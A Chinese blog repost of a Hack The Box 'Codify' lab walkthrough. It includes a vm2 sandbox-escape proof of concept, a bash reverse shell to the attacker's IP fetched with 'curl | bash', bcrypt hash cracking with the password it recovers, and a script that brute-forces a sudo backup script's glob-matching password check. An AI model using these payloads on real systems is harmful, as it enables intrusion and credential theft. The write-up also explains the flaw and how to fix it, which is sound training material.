Hack The Box - Codify

这篇具有很好参考价值的文章主要介绍了Hack The Box - Codify。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

Hack The Box - Codify
Hack The Box - Codify

做HTB的三板斧就是信息收集、EXP、提权。

首先是信息收集

nmap -Pn -T4 -A -p- 10.10.11.239
Nmap scan report for 10.10.11.239
Host is up (0.45s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 96071cc6773e07a0cc6f2419744d570b (ECDSA)
|_  256 0ba4c0cfe23b95aef6f5df7d0c88d6ce (ED25519)
80/tcp   open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://codify.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
3000/tcp open  http    Node.js Express framework
|_http-title: Codify
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=12/30%OT=22%CT=1%CU=34198%PV=Y%DS=2%DC=T%G=Y%TM=65900B
OS:6B%P=i686-pc-windows-windows)SEQ(SP=105%GCD=1%ISR=109%TI=Z%CI=Z%II=I%TS=
OS:A)SEQ(CI=Z%II=I)OPS(O1=M54EST11NW7%O2=M54EST11NW7%O3=M54ENNT11NW7%O4=M54
OS:EST11NW7%O5=M54EST11NW7%O6=M54EST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%
OS:W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M54ENNSNW7%CC=Y%Q=)T1(R=Y%DF=
OS:Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%
OS:F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y
OS:%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%R
OS:D=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)I
OS:E(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 199/tcp)
HOP RTT       ADDRESS
1   283.00 ms 10.10.16.1
2   575.00 ms 10.10.11.239

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2026.30 seconds

//hosts文件

10.10.11.239 codify.htb

Hack The Box - Codify

利用以上命令将shell写入或者连接到系统当中,翻找了一下,这些命令没有任何调用。

再看About里面写了使用VM2沙箱,也许这是一个突破口,尝试一下。

Hack The Box - Codify

CVE-2023-37466不太行,CVE-2023-32314可以。

const { VM } = require("vm2");
const vm = new VM();

const code = `
  const err = new Error();
  err.name = {
    toString: new Proxy(() => "", {
      apply(target, thiz, args) {
        const process = args.constructor.constructor("return process")();
        throw process.mainModule.require("child_process").execSync("echo hacked").toString(); // -> echo hacker 命令注入点
      },
    }),
  };
  try {
    err.stack;
  } catch (stdout) {
    stdout;
  }
`;

console.log(vm.run(code)); // -> hacked

shell.sh文件内容

#!/bin/bash

bash -c 'bash -i >& /dev/tcp/10.10.16.23/4444 0>&1'

ncat -nlvp 4444

python -m http.server

curl http://10.10.16.23:8000/shell.sh | bash #POC命令,注意python简易http服务端口和文件名

webshell提权只有一招“敏感文件”包括但不限于配置文件撞库,计划任务等。

在/var/www/contact目录下找到账号以及加密密码,用hashcat破解一下。

Hack The Box - Codify

把hash值写入到HTB.txt当中

hashcat -m 3200 HTB.txt .\rockyou.txt -O

$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2:spongebob1

得到用户名和密码 joshua / spongebob1,然后用SSH连接主机,得到user用户的flag。

Hack The Box - Codify

a4fcf8acf01cb0bcfe52aa7b3d7fd6ca

然后是提权到root权限,用sudo -l 查看一下sudo的可用命令。

Hack The Box - Codify

查看一下权限,可以看到其他的用户和组用户的权限只有执行和读取的权限。

Hack The Box - Codify

运行了脚本提示输入mysql密码才能运行,所以现在要找一下mysql的密码。

#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds) #读取密码 明文
BACKUP_DIR="/var/backups/mysql"
 
read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo
 
if [[ $DB_PASS == $USER_PASS ]]; then      #模糊匹配读取的密码和输入的密码
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi
 
/usr/bin/mkdir -p "$BACKUP_DIR"
 
databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")
 
for db in $databases; do
    /usr/bin/echo "Backing up database: $db"
    /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done
 
/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'

首先尝试一下能不能直接读取密码文件。

然后尝试了模糊匹配,然是没有匹配疑惑了好久,也试了好久,不知道是不是脚本的问题,只有用脚本输入才有正常返回,正常手工输入是没有正常返回值的,看图就明白了。

Hack The Box - Codify

poc.py

import string
import subprocess
 
all = list(string.ascii_letters + string.digits)  # 创建包含所有字母和数字的字符列表
password = ""  # 初始化密码为空字符串
found = False  # 初始化 found 变量为 False,表示密码尚未找到
 
while not found:
    for character in all:
        # 构建要执行的命令
        command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
        
        # 使用 subprocess.run 执行命令,并获取标准输出
        output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
 
        # 如果输出包含 "Password confirmed!" 字符串,表示密码中的字符是正确的
        if "Password confirmed!" in output:
            password += character  # 将当前字符添加到密码中
            print(password)  # 打印当前破解出的密码
            break  # 跳出字符循环,继续下一个字符的尝试
    else:
        found = True  # 如果 for 循环正常结束,表示已找到密码的所有字符
 
# 循环结束后,输出找到的密码
print("Found Password:", password)

得到密码,然后su - root 切换到root环境,得到root的flag

7d478fc000f937af64e98cd77709f78d

因为在模糊匹配的地方卡住了,然后看了其他的人的HTB攻略所以当作参考信息写在下方:

[HackTheBox Write-Up: Codify] - [简单] (maddevs.io)

hackthebox-Codify - jtmqd - 博客园 (cnblogs.com)

hackthebox-Codify - jtmqd - 博客园 (cnblogs.com)

【渗透测试】Codify - HackTheBox,Node.js沙盒_codify.htb-CSDN博客

HackTheBox-Machines--Codify_hackthebox的codify-CSDN博客

HTB Codify - kw13t - 博客园 (cnblogs.com)

HTB-Codify-CSDN博客

PS:关于模糊匹配的问题

问题解释

在 Bash 脚本中,当您使用 [[ $DB_PASS == $USER_PASS ]] 这样的表达式时,如果 $USER_PASS 包含像 *? 这样的通配符,Bash 会将其视为一个匹配模式,而不是一个固定的字符串。这意味着如果 $DB_PASS 与该模式相匹配,即使 $USER_PASS 并不是真正的密码,比较也会成功。

示例

假设实际的数据库密码($DB_PASS)是 password123。根据您脚本的逻辑,用户需要输入这个密码才能继续执行脚本。

但是,如果用户输入的密码($USER_PASS)是 *,在 Bash 中这会被视为一个匹配任何字符串的模式。因此,[[ $DB_PASS == $USER_PASS ]] 的结果将是 true,即使用户并没有输入正确的密码。

这就造成了一个安全漏洞,因为通过输入一个简单的 *,不知道实际密码的用户也能通过验证。

安全建议

为了避免这种情况,您应该使用另一种比较方法,确保进行的是字面上的字符串比较,而不是模式匹配。一种简单的方法是使用 = 而不是 ==[[ ]] 中进行比较,或者使用 [[ $DB_PASS = $USER_PASS ]]。还有一种更安全的方法是使用 Bash 的 [[ $DB_PASS == "$USER_PASS" ]],通过引号来确保 $USER_PASS 被当作字面字符串处理,而不是模式。

shellharden/how_to_do_things_safely_in_bash.md 在 master ·肛门/壳硬化 (github.com)

Hack The Box - Codify文章来源地址https://www.toymoban.com/news/detail-767299.html


到了这里,关于Hack The Box - Codify的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • ORACLE无法OPEN,处理三板斧

    mount下先查询数据文件头的检查点是否一致 查询 v$datafile_header ,CHECKPOINT_CHANGE#均一致,FUZZY为YES 1)对于open resetlogs时数据文件中有脏数据的情况,可以设置 来规避。 2)如果出现ORA-01555错误,导致数据库无法open,可以设置 的方式来规避 3)出现ORA-600 [2662]错误时,先通过多次重启

    2024年03月13日
    浏览(50)
  • Linux:进度条(小程序)以及git三板斧

    在实现小程序前我们要弄清楚:          1.缓冲区;         2.回车与换行。 分别用gcc来编译下面两个程序: 程序一: #include stdio.h int main() {         printf(\\\"hello Makefile!n\\\");         sleep(3);         return 0; } 程序二: #include stdio.h int main() {         prin

    2024年02月05日
    浏览(47)
  • 【Linux】git三板斧教程(免密提交配置)

    🎉博客主页:小智_x0___0x_ 🎉欢迎关注:👍点赞🙌收藏✍️留言 🎉系列专栏:Linux入门到精通 🎉代码仓库:小智的代码仓库 Git是一种分布式版本控制系统,它可以记录文件的改动历史,并且可以多人协同开发。Git最初由LinusTorvalds开发,用于管理Linux内核的开发。Git的工作

    2024年02月12日
    浏览(24)
  • 【Linux】Linux中git的基本使用(三板斧)

    👦个人主页:Weraphael ✍🏻作者简介:目前正在学习 c++ 和 Linux 还有算法 ✈️专栏:Linux 🐋 希望大家多多支持,咱一起进步!😁 如果文章有啥瑕疵,希望大佬指点一二 如果文章对你有帮助的话 欢迎 评论💬 点赞👍🏻 收藏 📂 加关注😍 简述什么是 git git 是一种分布式

    2024年02月03日
    浏览(26)
  • 阿里云进攻“三板斧”:大降价、被集成和大模型

    4月26日上午,2023阿里云合作伙伴大会上,阿里巴巴集团董事会主席兼CEO、阿里云智能集团CEO张勇再度现身。 2022年底,张勇选择亲自担任阿里云智能CEO后,曾在一封面向阿里集团的全员信中指出,希望新的一年中阿里的是“进”。他要求阿里坚持做“好”自己,做“好

    2024年02月11日
    浏览(56)
  • [Linux 基础] Linux使用git上传gitee三板斧

    Gitee官网 1.2.1 使用Gitee创建项目 1、注册账号 如果没有Gitee的账号先注册一个。 注册完成后登录。 2、进入主页面,箭头指向+号处点新建仓库 3、设置仓库信息 4、仓库创建完成 1.2.2 上传本地代码到远端仓库 1、先点击克隆/下载,复制下来链接 2、下载项目到本地 使用下面的命

    2024年02月06日
    浏览(46)
  • [Docker] Portainer + nginx + AList 打造Docker操作三板斧

    Portainer : Docker容器图形化管理系统 nginx: 反向代理利器 AList: 文件管理系统 目的: 依托Portainer 的图形管理界面,可视化的配置docker容器. AList再关联Docker各容器内部的配置文件,可视化配置,再配合Portainer重启,日志查看,命令行操作等.对于中小企业对容器化操作简化处理.nginx用于打

    2024年02月11日
    浏览(32)
  • Linux关于gittee的远端仓库的连接和git三板斧

    目录 1.网页操作 2.Linux操作 查看Linux系统中是否安装git指令 安装git指令 链接远端仓库 设置 .gitignore文件 3.git三板斧  首先我们要在gittee建立一个仓库 这是我自己的勾选方案,大家可以参考一下。 这个方案勾选最下面的三个选项才有,不过都能找到这个HTTP协议地址,复制一下

    2024年02月07日
    浏览(71)
  • Linux项目自动化构建工具-make/Makefile以及git三板斧

    是否会写make/makefile,从侧面反映了一个程序员是否具备完成大型工程的能力。一个工程中的源文件不计数,其按类型、功能、模块分别放在若干个目录中,makefile定义了一系列的规则来指定,哪些文件需要先编译,哪些文件需要后编译,哪些文件需要重新编译,甚至于进行更

    2024年02月16日
    浏览(31)
  • 聊一聊服务治理三板斧:限流、熔断、降级和go-sentinel的实现

    我们知道,对于一个项目之初,我们不可能上来就按几千的并发去配置,为什么?两个方面,第一个是成本高。第二个是维护难度大。即便是天猫淘宝这种,也是采用的动态扩容的方式来应对双十一。那么一个项目如何应对突然的高并发,我们有哪些常用的措施和处理呢?我

    2024年01月19日
    浏览(35)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包